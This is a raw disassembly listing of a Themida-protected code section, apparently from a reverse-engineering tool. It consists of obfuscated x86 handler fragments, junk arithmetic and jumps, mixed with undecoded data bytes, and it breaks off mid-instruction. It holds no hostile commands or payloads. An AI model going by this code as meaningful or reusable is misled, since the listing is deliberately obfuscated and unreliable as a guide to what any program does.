Themida_:0058B0F4o align 2 aI4QBxh@sue db '┴4$Q╧B∙H@ИU┘',0 align 4 loc_58D544: ; CODE XREF: Themida_:0058BC89j add esp, 4 push ebx mov ebx, edi jmp loc_59761A ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 22BB850h, 1A2D7E36h, 0E974121Fh, 0FFFFE18Fh dd 8245C29h, 0A3E7E9h, 72EF8100h, 0FF171F7Ch, 148B2434h dd 4C48124h, 83000000h, 3C8704C4h, 24248B24h, 24043166h dd 0DDE5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D596: ; CODE XREF: Themida_:0058D69Cj xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax push ebx mov bl, dl mov ah, bl pop ebx mov bl, ah pop eax mov [edi+eax*4], bl push dword ptr [esp] pop ebx jmp loc_58BB15 ; --------------------------------------------------------------------------- db 68h, 6Ah, 62h dd 4890000h, 0E0E95724h db 0FEh, 2 dup(0FFh) byte_58D5C3 db 0E9h ; DATA XREF: Themida_:0058B140o dd 0FFFFDDB3h ; --------------------------------------------------------------------------- loc_58D5C8: ; CODE XREF: Themida_:loc_58D2FDj sub edx, 0E303587Fh jmp loc_596B9B ; --------------------------------------------------------------------------- db 68h dd 6B38h, 0E9241489h, 3445h ; --------------------------------------------------------------------------- loc_58D5E0: ; CODE XREF: Themida_:0058B5DFj push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_597BD3 ; --------------------------------------------------------------------------- loc_58D5F6: ; CODE XREF: Themida_:0058CD4Ej mov [esp], ebx mov bl, 22h add bl, 0FFh not bl add bl, 0FFh push ecx jmp loc_58F358 ; --------------------------------------------------------------------------- loc_58D609: ; CODE XREF: Themida_:0059370Ej push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_5977B6 ; --------------------------------------------------------------------------- db 56h, 0E9h, 0BAh db 0E1h, 2 dup(0FFh) byte_58D61F db 0FFh ; DATA XREF: Themida_:0058B1A8o dd 669D1C77h, 241CD359h, 190E99Ch, 0E9810000h, 7C663F5Ch dd 1052E9h db 0 ; --------------------------------------------------------------------------- loc_58D639: ; CODE XREF: Themida_:0058D474j pop ecx xor edi, 63B8A05h xor ebx, edi pop edi push ebx jmp loc_591F2F ; --------------------------------------------------------------------------- db 5Dh, 68h, 0CBh dd 89000000h, 0E389241Ch, 4C381h, 0BD550000h, 45EA4DFBh dd 54BBC581h, 0ED810821h, 4E0BA2B2h, 999EE9h db 0 byte_58D671 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058B0C4o dd 0D2240481h, 8B6A6745h, 54532404h, 66BE565Bh, 0E91E5555h dd 5A04h ; --------------------------------------------------------------------------- loc_58D68C: ; CODE XREF: Themida_:00595166j pop edx mov edi, [esp] jmp loc_58E586 ; --------------------------------------------------------------------------- loc_58D695: ; CODE XREF: Themida_:00598207j pop eax sub ecx, 4 xor ecx, [esp] jmp loc_58D596 ; --------------------------------------------------------------------------- db 5Bh, 2Ch, 0CCh dd 0C1E9D000h db 0EBh, 2 dup(0FFh) byte_58D6AB db 0ADh ; DATA XREF: Themida_:0058B2BCo dd 8352D305h, 2F31E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D6B6: ; CODE XREF: Themida_:0059210Dj push 602C1A8Eh jmp loc_596D03 ; --------------------------------------------------------------------------- loc_58D6C0: ; CODE XREF: Themida_:00595B5Fj add ebp, 4 add ebp, 4 jmp loc_58FC24 ; --------------------------------------------------------------------------- loc_58D6CE: ; CODE XREF: Themida_:00594C68j jmp loc_595292 ; --------------------------------------------------------------------------- db 81h dd 2A38A0E9h, 0FFCD0133h, 0C8B2434h, 4C48124h, 81000000h dd 4C4h, 5EBE5600h, 0E9600630h, 4258h ; --------------------------------------------------------------------------- loc_58D6F8: ; CODE XREF: Themida_:00596EB4j mov [esp], esi jmp loc_593AE2 ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: Themida_:005948DCj add esp, 4 push ecx push esp pop ecx add ecx, 4 jmp loc_598477 ; --------------------------------------------------------------------------- loc_58D714: ; CODE XREF: Themida_:0059307Cj mov [esp], ebp push edi push ebx jmp loc_59133A ; --------------------------------------------------------------------------- loc_58D71E: ; CODE XREF: Themida_:00591367j sub al, dl push edx push ebx mov bh, 7Dh jmp loc_593ED1 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0BC0307BAh, 265CBB14h, 0D30165CEh, 1B9515Ah, 81000000h dd 0F73AB0EBh, 81CB2909h, 0F73AB0C3h, 240C8B09h, 4C481h dd 0FF530000h, 815B2404h, 4ECh, 243C8900h, 83591CBFh, 2923E950h dd 1C890000h, 0E9E38924h, 172Dh, 3A04B951h, 0C831A5C0h dd 58C30159h, 0E9241C87h, 2B07h ; --------------------------------------------------------------------------- loc_58D78C: ; CODE XREF: Themida_:0058F8C9j add esi, 4 sub esi, 4 xor esi, [esp] jmp loc_593F59 ; --------------------------------------------------------------------------- loc_58D7A0: ; CODE XREF: Themida_:00592477j sub ecx, eax pop eax pop edx push ebx push 4 pop ebx add ecx, ebx mov ebx, [esp] add esp, 4 xor ecx, [esp] jmp loc_58D3D9 ; --------------------------------------------------------------------------- dw 0B8E9h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58D7C3: ; CODE XREF: Themida_:005918C7j push esi push 3D17h mov [esp], edi push ebx mov ebx, 6F2033EFh jmp loc_59494C ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 37B95124h, 89186832h, 3B4AE9CFh, 0BF570000h dd 1A16100Bh, 563CF81h, 0EF8142E0h, 222C7208h, 0FFEC0EE9h db 0FFh byte_58D801 db 0ADh, 56h, 0BEh ; DATA XREF: Themida_:0058B13Co dd 4B9A6AB4h, 7F422C05h, 2DF02963h, 637F422Ch, 0E924348Bh dd 3017h ; --------------------------------------------------------------------------- loc_58D81C: ; CODE XREF: Themida_:00591E2Dj ; Themida_:loc_5924C7j mov esi, 2 add eax, esi jmp loc_5981A3 ; --------------------------------------------------------------------------- dword_58D828 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFDB43h, 0DBF6DBF6h ; DATA XREF: Themida_:0058B1CCo dd 0F367840Fh, 0A8E9FFFFh, 5B00000Ch, 2BF57h, 61E90000h dd 8B000088h, 4872424h, 34FF5C24h, 24048B24h, 8904EC83h dd 8B54242Ch, 8951242Ch, 4C181E1h, 0E9000000h, 9B0Dh ; --------------------------------------------------------------------------- loc_58D878: ; CODE XREF: Themida_:0058DA63j push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- aISa db '┴<$ИA',0Ah,0 align 4 loc_58D888: ; CODE XREF: Themida_:00593DCCj ; DATA XREF: Themida_:0058B224o mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_59473D ; --------------------------------------------------------------------------- aQh? db 'Qh?}',0 align 4 dd 81242489h, 42404h, 0C8B0000h, 4C48124h, 55000000h, 4BDh dd 0E9E90100h, 222Ch, 0FFDAB2E9h, 5EF389FFh, 8479E9h db 0 ; --------------------------------------------------------------------------- loc_58D8D1: ; CODE XREF: Themida_:005974FFj add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_592CDF ; --------------------------------------------------------------------------- loc_58D8EB: ; CODE XREF: Themida_:0058FFBEj pop ebx push edx push ebx jmp loc_58EF7E ; --------------------------------------------------------------------------- db 8Bh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 428Bh jmp loc_596405 ; --------------------------------------------------------------------------- loc_58D913: ; CODE XREF: Themida_:0058DE69j xor eax, 0D5B164Dh jmp loc_5914AF ; --------------------------------------------------------------------------- db 81h, 0C2h, 43h dd 0F31F002h, 0FFEB2884h, 31C281FFh, 0F16B81Ah, 903D88h dd 7879E900h, 13BE0000h, 4E767E0Ah, 0ACFDE9h db 0 ; --------------------------------------------------------------------------- loc_58D945: ; CODE XREF: Themida_:00590F36j xor [esp], edi xor edi, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 5Dh dd 7EBC681h, 0DE0106C9h, 7EBEE81h, 815B06C9h, 2C6h, 24348700h dd 8C58E9h db 0 ; --------------------------------------------------------------------------- loc_58D975: ; CODE XREF: Themida_:00596D0Ej mov ebx, [esp] add esp, 4 add ecx, 9FD3ED72h and eax, ecx push dword ptr [esp] pop ecx push ebp jmp loc_597CAA ; --------------------------------------------------------------------------- db 89h, 0DDh, 5Bh dd 14DEF81h, 0EF295783h, 14DC781h, 2C8B5783h, 4C48124h dd 0F7000000h, 83D7F7D7h, 0C8904ECh, 947CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58D9B6: ; CODE XREF: Themida_:00596E01j push eax mov eax, 686157F5h and esi, eax pop eax add esi, 300A7FADh jbe loc_5914D6 jmp loc_592D81 ; --------------------------------------------------------------------------- loc_58D9D0: ; CODE XREF: Themida_:00592823j sub eax, 54680F81h add eax, ecx add eax, 54680F81h pop ecx jmp loc_590809 ; --------------------------------------------------------------------------- loc_58D9E2: ; CODE XREF: Themida_:005910AEj not esi xor esi, 10035A1Dh sub edx, esi pop esi xor edx, [esp] xor [esp], edx jmp loc_597939 ; --------------------------------------------------------------------------- aHda db ']hda',0 align 2 dw 0F8E9h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DA03: ; CODE XREF: Themida_:005944EFj mov [esp], edx push ebx mov bh, 0B9h jmp loc_59546A ; --------------------------------------------------------------------------- loc_58DA0E: ; CODE XREF: Themida_:0058D11Dj xchg ebx, [esp] mov esp, [esp] add edx, 4 add edx, 2 xor edx, [esp] jmp loc_5929FE ; --------------------------------------------------------------------------- loc_58DA28: ; CODE XREF: Themida_:00590240j add dl, cl jmp loc_58DA88 ; --------------------------------------------------------------------------- db 5Ch dd 3304E883h, 4312404h, 24043324h, 8924248Bh, 0E95A2404h dd 441Fh ; --------------------------------------------------------------------------- loc_58DA48: ; CODE XREF: Themida_:00591286j mov [esp], esi mov esi, esp push ecx mov ecx, 4 jmp loc_5950D7 ; --------------------------------------------------------------------------- loc_58DA58: ; CODE XREF: Themida_:0058F348j mov esp, [esp] mov [esp], cx movzx cx, al jmp loc_58D878 ; --------------------------------------------------------------------------- dd 74C1EE81h, 0E95F78F6h, 5B8Dh, 1892CF81h, 0EF812ED7h dd 7EBE4690h, 0E95FF801h, 4851h ; --------------------------------------------------------------------------- loc_58DA88: ; CODE XREF: Themida_:0058DA2Aj add dl, 0BCh pop ecx xor al, dl push dword ptr [esp] jmp loc_59256E ; --------------------------------------------------------------------------- dw 4C01h dd 3DE90424h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DA9F: ; CODE XREF: Themida_:0058D0F3j add edi, ebp mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg edi, [esp] mov esp, [esp] mov cx, [esp] push 383Ch mov [esp], esi sub esp, 4 mov [esp], esp push ebp mov ebp, 4 add [esp+4], ebp pop ebp pop esi jmp loc_595E39 ; --------------------------------------------------------------------------- loc_58DAE3: ; CODE XREF: Themida_:0058F2A6j add ebx, 37341A85h dec ebx shr ebx, 8 push edx mov edx, 7FC587h xor ebx, edx jmp loc_58CCC0 ; --------------------------------------------------------------------------- loc_58DAFA: ; CODE XREF: Themida_:0058F2D5j sub edx, 5B1258F4h push ecx mov ecx, 74C4359Eh xor ecx, 466F0E3Fh add ecx, 0F71D33ECh add edx, ecx pop ecx jmp loc_59126D ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 71AAE9h db 0 ; --------------------------------------------------------------------------- loc_58DB25: ; CODE XREF: Themida_:0058D47Fj shl dl, 8 push eax mov al, 91h shl al, 1 shr al, 3 add al, 4Dh shl al, 1 jmp loc_59603A ; --------------------------------------------------------------------------- loc_58DB39: ; CODE XREF: Themida_:005912DCj add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- db 81h, 0F6h, 6 dd 317A4844h, 243C8BFEh, 4C481h, 42E90000h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DB57: ; CODE XREF: Themida_:005973C3j mov ebp, [esp] add esp, 4 add eax, 22E41B83h push 4D4Ah jmp loc_59677A ; --------------------------------------------------------------------------- dd 7F5968h, 241C8900h, 8CABE9h db 0 ; --------------------------------------------------------------------------- loc_58DB79: ; CODE XREF: Themida_:00594C62j add dword ptr [esp], 0E150B45h push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edx push ebp push ebx jmp loc_592FEA ; --------------------------------------------------------------------------- dd 4BFh, 24448100h, 4349E204h, 2B22E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58DBA6: ; CODE XREF: Themida_:0058C9D5j pop esi add esi, ebp pop ebp sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 67280549h add ebx, ebp jmp loc_593616 ; --------------------------------------------------------------------------- loc_58DBC5: ; CODE XREF: Themida_:00593A2Dj pop bx sub al, 10h jmp loc_58CB87 ; --------------------------------------------------------------------------- dw 0D8F7h dd 8E9D800Fh, 2F2D0000h, 0F6EF96Ch, 0FFE3F888h, 5D8F7FFh dd 7E2ABE6h, 8958C589h db 0DAh, 5Bh ; --------------------------------------------------------------------------- loc_58DBEE: ; CODE XREF: Themida_:00594C76j add ebx, 0FAAE649Eh add ecx, ebx pop ebx sub edi, ecx mov ecx, [esp] add esp, 4 xchg edi, [esp] pop esp mov [esp], ebx pop eax push ebp jmp loc_597BE7 ; --------------------------------------------------------------------------- dd 3030E7BDh, 40BF5708h, 315D2E2Ch, 0E5C15FFDh, 4E5C102h dd 251BE9h, 4C68300h, 8B243487h, 34E92424h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DC37: ; CODE XREF: Themida_:00592B10j or ebx, 20AE510Ch jno loc_594845 jmp loc_596188 ; --------------------------------------------------------------------------- dd 4C481h, 34FF0000h db 24h, 58h ; --------------------------------------------------------------------------- loc_58DC52: ; CODE XREF: Themida_:00595E42j mov edx, 4 jmp loc_590333 ; --------------------------------------------------------------------------- loc_58DC5C: ; CODE XREF: Themida_:00590002j push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ecx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58DC7F: ; CODE XREF: Themida_:0059546Cj mov ebx, [esp] add esp, 4 jmp loc_58CB91 ; --------------------------------------------------------------------------- loc_58DC8A: ; CODE XREF: Themida_:00598616j push edi push ebx mov ebx, 4C004485h push ebp mov ebp, ebx mov edi, ebp pop ebp jmp loc_593C49 ; --------------------------------------------------------------------------- loc_58DC9C: ; CODE XREF: Themida_:0059614Fj pop ebx neg ebx jmp loc_593B14 ; --------------------------------------------------------------------------- dd 1E981h, 68490000h, 0 dd 59240C29h, 7846C981h, 0D1F759FCh, 6A2AE9h db 0 byte_58DCC1 db 0ADh, 2Dh, 9Ah ; DATA XREF: Themida_:0058B320o dd 1552C20h, 0FD968D8h, 0C890000h, 15D2B924h, 51523E4Dh dd 945EE9h db 0 ; --------------------------------------------------------------------------- loc_58DCDD: ; CODE XREF: Themida_:00597157j sub bl, 7Dh push 1324h mov [esp], ecx mov ch, 52h add bl, ch mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h word_58DD06 dw 77FFh ; DATA XREF: Themida_:0058B098o dd 59669D1Ch, 2414D366h, 0D665E99Ch, 5968FFFFh, 89000077h dd 0DAE9243Ch, 2900009Fh, 0F329E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58DD2A: ; CODE XREF: Themida_:loc_594530j jmp loc_58CA98 ; --------------------------------------------------------------------------- db 4Bh dd 0BD55DA87h, 2035127Ah, 6A6EE9h db 0 ; --------------------------------------------------------------------------- loc_58DD3D: ; CODE XREF: Themida_:00596C11j xor ebp, eax pop eax mov eax, ebp mov ebp, [esp] add esp, 4 mov edx, eax mov eax, [esp] push ecx mov ecx, esp push ebx push ecx push 658E722Ah pop ecx or ecx, 4C4F6055h jno loc_596564 xor ecx, 6DCF727Bh mov ebx, ecx add al, 2 mov ebx, eax loc_58DD70: ; CODE XREF: Themida_:00592516j ; DATA XREF: Themida_:0058B178o push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- db 0BFh dd 8A62ECAh, 7AEFF781h, 0D7F75891h, 0E907EFC1h, 35F3h ; --------------------------------------------------------------------------- loc_58DD94: ; CODE XREF: Themida_:0058F775j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebp push 1 push dword ptr [esp] mov ebp, [esp] add esp, 4 push edx mov edx, esp push edi mov edi, 46507213h neg edi xor edi, 2F50130Fh jmp loc_5932BE ; --------------------------------------------------------------------------- dw 2C31h dd 242C3324h, 2424D25Ch, 57F8E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58DDD2: ; CODE XREF: Themida_:loc_58F03Cj shl edi, 2 js loc_59044D xor edi, 0A7B55F74h mov ecx, ecx mov dl, 36h loc_58DDE5: ; CODE XREF: Themida_:0058F1EEj ; Themida_:00590B76j add eax, 226E0CECh jmp loc_58BF63 ; --------------------------------------------------------------------------- loc_58DDEF: ; CODE XREF: Themida_:00594077j shr eax, 8 xor eax, ecx jmp loc_591511 ; --------------------------------------------------------------------------- loc_58DDF9: ; CODE XREF: Themida_:loc_5909DEj ; Themida_:00596C6Dj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_595B4C ; --------------------------------------------------------------------------- loc_58DE0B: ; CODE XREF: Themida_:0059720Cj pop esi add eax, 55EA5F45h jmp loc_595C55 ; --------------------------------------------------------------------------- loc_58DE16: ; CODE XREF: Themida_:0059234Dj jmp loc_592C38 ; --------------------------------------------------------------------------- loc_58DE1B: ; CODE XREF: Themida_:0058D4BAj add esi, eax sub esi, 29720344h pop eax jmp loc_58FB19 ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 0FFFFE1B8h, 2414895Ch, 0F0309FB6h, 46BA685Ah, 14890000h dd 55B05024h, 0F06E8C0h, 0FFDFD08Ah, 0FD8F6FFh, 0A4F38Ch dd 53D8F600h, 5DE96CB7h, 5C000055h db 0B7h, 58h ; --------------------------------------------------------------------------- loc_58DE62: ; CODE XREF: Themida_:0058BC09j shr eax, 1 xor eax, 73C79F4h jnp loc_58D913 xor eax, 0D5B164Dh jmp loc_596F4D ; --------------------------------------------------------------------------- loc_58DE79: ; CODE XREF: Themida_:005912F2j push ecx push edx sub dword ptr [esp], 630755B0h pop ecx jmp loc_5977FE ; --------------------------------------------------------------------------- dd 6F2D68h, 241C8900h, 86E9E389h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58DE97: ; CODE XREF: Themida_:0059328Aj mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_5985F7 ; --------------------------------------------------------------------------- loc_58DEA4: ; CODE XREF: Themida_:0059833Bj add esp, 4 sub [edi+24h], ecx mov ecx, [esp] push 42A1h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5930D4 ; --------------------------------------------------------------------------- loc_58DECB: ; CODE XREF: Themida_:0058E706j pop eax and ecx, edx pop edx shr ecx, 7 push dword ptr [edi+1Ch] push dword ptr [esp] pop eax jmp loc_59063C ; --------------------------------------------------------------------------- word_58DEDE dw 0C8Bh ; DATA XREF: Themida_:0058B288o aUh3 db '$Uh*3',0 dw 6800h dd 5BF2h, 402CE9h db 0 ; --------------------------------------------------------------------------- loc_58DEF1: ; CODE XREF: Themida_:0059178Cj add eax, ebp jmp loc_5938C5 ; --------------------------------------------------------------------------- loc_58DEF8: ; CODE XREF: Themida_:00595AB6j push edx jmp loc_59503D ; --------------------------------------------------------------------------- dw 74FFh dd 0E9580424h, 58F3h ; --------------------------------------------------------------------------- loc_58DF08: ; CODE XREF: Themida_:00595441j push ecx mov ecx, 4 jmp loc_596937 ; --------------------------------------------------------------------------- loc_58DF13: ; CODE XREF: Themida_:00594FCDj xchg eax, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx jmp loc_59047C ; --------------------------------------------------------------------------- db 5Ch dd 0FFE62DE9h db 0FFh ; --------------------------------------------------------------------------- loc_58DF29: ; CODE XREF: Themida_:00592C00j xor eax, 162F2882h shl eax, 7 shl eax, 5 sub eax, 6E16D07Ch sub edx, eax pop eax shr edx, 7 neg edx xor edx, 0F1326AFFh sub eax, edx mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_5935F9 ; --------------------------------------------------------------------------- loc_58DF5A: ; CODE XREF: Themida_:00594B04j pop cx add ch, 47h sub ch, dh sub ch, 47h pop dx sub ch, 0Fh jmp loc_58E951 ; --------------------------------------------------------------------------- aZhgv db '[ZhgV',0 dd 24048900h, 535EE9h db 0 ; --------------------------------------------------------------------------- loc_58DF7D: ; CODE XREF: Themida_:00592713j pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_58C57F ; --------------------------------------------------------------------------- loc_58DF8C: ; CODE XREF: Themida_:00596A85j sub edx, 6CD3445Ah add edx, 6ED6B0F4h sub eax, edx pop edx pop edx push 29DBh jmp loc_58BE30 ; --------------------------------------------------------------------------- loc_58DFA6: ; CODE XREF: Themida_:00598089j mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_596FCC ; --------------------------------------------------------------------------- loc_58DFBF: ; CODE XREF: Themida_:00595724j pop esp mov [esp], ebx jmp loc_593E5F ; --------------------------------------------------------------------------- dd 34FFEB89h, 0C4815D24h, 4, 4246C81h, 25354F66h, 4245C29h dd 9D7BE9h db 0 ; --------------------------------------------------------------------------- loc_58DFE5: ; CODE XREF: Themida_:0059459Ej sub ebp, 144FA453h xor ecx, ebp pop ebp and eax, ecx jmp loc_59684E ; --------------------------------------------------------------------------- byte_58DFF5 db 64h, 66h, 0Fh ; DATA XREF: Themida_:0058B29Co dd 545202B6h, 0FFDCFCE9h, 5BF181FFh, 813E2615h, 50705BE9h dd 59C829CBh, 0BA52C801h, 62E134A6h, 39D4E281h, 81421A4Fh dd 22D39EC2h, 5AD00178h, 592434FFh, 4C481h, 0C0830000h dd 24043302h, 33240431h, 8EE92404h, 81FFFFE6h, 6318E0C1h dd 72F18143h, 0F633C60h, 18F58Eh, 2EF18100h, 89532011h dd 0DAF759CAh, 0C1CC281h, 0D2F70116h, 739DE9h db 0 ; --------------------------------------------------------------------------- loc_58E06D: ; CODE XREF: Themida_:00597A2Fj push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] xor ebx, eax push 4743h mov [esp], eax jmp loc_58B37B ; --------------------------------------------------------------------------- db 81h dd 639FFF2h, 0B18D0F38h, 81000080h, 8629F5EAh, 844E978h dd 34870000h, 14E95524h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E0B7: ; CODE XREF: Themida_:00594B30j jmp loc_5952F4 ; --------------------------------------------------------------------------- dd 4EE81h, 34870000h, 6A15E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E0CA: ; CODE XREF: Themida_:005969F5j add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ebx push esp pop ebx add ebx, 4 push 6BC2h mov [esp], ecx mov ecx, 2 jmp loc_5956DD ; --------------------------------------------------------------------------- db 0B3h dd 36EB80A9h, 0F608E3C0h, 0A4EB80D3h, 2009E9h, 0BB00h dd 0EB810000h, 1112525Dh, 0BA52D301h, 1112525Dh, 525AD301h dd 71FBE9h db 0 ; --------------------------------------------------------------------------- loc_58E129: ; CODE XREF: Themida_:0058B8B0j jb loc_592515 inc edx jmp loc_59202A ; --------------------------------------------------------------------------- db 66h, 0FFh, 4 db 24h, 9Ch ; --------------------------------------------------------------------------- loc_58E13A: ; CODE XREF: Themida_:00592F9Aj jno loc_596453 and eax, 76A53A15h jb loc_59622D sub al, 21h loc_58E14D: ; CODE XREF: Themida_:0058F4B7j push ebp mov ebp, 3652012h sub esi, ebp mov ebp, [esp] add esp, 4 pop ecx jmp loc_5942C2 ; --------------------------------------------------------------------------- db 0BFh, 4, 6Ah dd 0EF8100E9h, 24883EBCh, 0E3E7814Fh, 81614B3Ch, 5AE7FEC7h dd 5FF829E8h, 0B55EAF05h, 98D2E97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E186: ; CODE XREF: Themida_:00590494j xchg esi, [esp] mov esp, [esp] mul cl movzx cx, ah push 3396h mov [esp], edi jmp loc_597785 ; --------------------------------------------------------------------------- db 81h dd 0EE22F3F2h, 0E9D02931h, 841Bh ; --------------------------------------------------------------------------- loc_58E1AC: ; CODE XREF: Themida_:0058CB94j neg al sub al, 79h sub al, 1 push ebx mov bh, 0C6h push eax jmp loc_58CA01 ; --------------------------------------------------------------------------- loc_58E1BB: ; CODE XREF: Themida_:0058E94Cj mov [esp], ecx mov ecx, 9C654EAh jmp loc_58EDD5 ; --------------------------------------------------------------------------- dword_58E1C8 dd 582434FFh, 5FA568h, 240C8900h, 0BA525954h, 4, 6D40C181h ; DATA XREF: Themida_:0058B144o dd 0D1017D9Dh, 4288E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E1EA: ; CODE XREF: Themida_:0058EED5j ; Themida_:loc_593967j mov ecx, 142807E0h jmp loc_597F15 ; --------------------------------------------------------------------------- loc_58E1F4: ; CODE XREF: Themida_:005932CFj add edx, ebx jmp loc_5982A3 ; --------------------------------------------------------------------------- loc_58E1FB: ; CODE XREF: Themida_:00597448j pop ebp shr eax, 1 jmp loc_5970DE ; --------------------------------------------------------------------------- loc_58E203: ; CODE XREF: Themida_:0058F859j sub ebp, edx pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 1 jmp loc_598426 ; --------------------------------------------------------------------------- loc_58E21D: ; CODE XREF: Themida_:00597FD3j add esp, 2 push eax mov al, 16h shr al, 5 jmp loc_58CCDF ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 4C581h, 0CAE90000h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58E23F: ; CODE XREF: Themida_:00593017j pop esp movzx ecx, ax push 7530h jmp loc_59268D ; --------------------------------------------------------------------------- loc_58E24D: ; CODE XREF: Themida_:00593B0Fj add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push 5702h mov [esp], ebx mov ebx, 0C79690Eh xor [esp+4], ebx jmp loc_591697 ; --------------------------------------------------------------------------- dw 0C383h dd 241C8704h, 4BA525Ch, 1000000h, 8F685AD6h, 89000048h dd 74FF2434h, 0BAE90424h, 8900008Bh, 0DCE92404h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58E29F: ; CODE XREF: Themida_:0058F9AAj push esi jmp loc_596788 ; --------------------------------------------------------------------------- db 0BBh, 0C8h, 7Ch dd 0F3812E0Bh, 3E456160h, 0DAE9DBF7h, 5200001Eh, 58BEE9h db 0 ; --------------------------------------------------------------------------- loc_58E2BD: ; CODE XREF: Themida_:0058C803j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_592F6A ; --------------------------------------------------------------------------- db 0BFh, 68h, 5Bh dd 0F9013851h, 0C9C9815Fh, 810C9B7Dh, 8D5B24C1h, 81D1F7C8h dd 401C73C1h, 81494951h, 8767ADC1h, 4C1811Fh, 0E994A5D7h dd 8511h ; --------------------------------------------------------------------------- loc_58E2F8: ; CODE XREF: Themida_:00595CCFj and edi, 1E69397Dh xor edi, 2CAC24D4h xor edi, 1C72CD5Eh add eax, 0CA25DAh jmp loc_59856D ; --------------------------------------------------------------------------- dd 4BAh, 5AD00100h, 5C240487h, 8BF0315Ah, 0C4832434h, 1FBE5604h dd 3168293Ah, 31F131CEh, 0E9D187CEh, 5508h ; --------------------------------------------------------------------------- loc_58E33C: ; CODE XREF: Themida_:00592F5Aj mov edi, 14501137h sub esi, edi jmp loc_59511C ; --------------------------------------------------------------------------- loc_58E348: ; CODE XREF: Themida_:0058C501j pop ebp add esp, 4 or eax, eax jz loc_59441C push dword ptr [edi+1Ch] push 409Fh mov [esp], ecx jmp loc_593D02 ; --------------------------------------------------------------------------- dd offset dword_56ED48+5A1h align 4 loc_58E36C: ; CODE XREF: Themida_:0059757Aj mov bl, cl mov [edi+eax*4+1], bl pop ebx mov ecx, [esp] add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58E37E: ; CODE XREF: Themida_:0058CCADj movzx eax, al pop small word ptr [edi+eax*4] jmp loc_591F76 ; --------------------------------------------------------------------------- loc_58E38A: ; CODE XREF: Themida_:0059431Dj mov edi, [esp] add esp, 4 add ebp, ebx mov ebx, [esp] push 5D60h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xchg ebp, [esp] jmp loc_594D19 ; --------------------------------------------------------------------------- db 53h dd 3039BA52h, 0D2F75CC6h, 83AAE9h db 0 aMs?j db '╛И?J',0 ; DATA XREF: Themida_:0058B0E4o dw 8900h dd 0FFEE89D5h, 2FE92434h, 81000021h, 49D92404h, 815F523Dh dd 3D49D9EFh, 1961E952h, 0C8B0000h, 45FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58E3F2: ; CODE XREF: Themida_:005969C7j add edi, 4 xchg edi, [esp] mov esp, [esp] or eax, eax jz loc_59433D push dword ptr 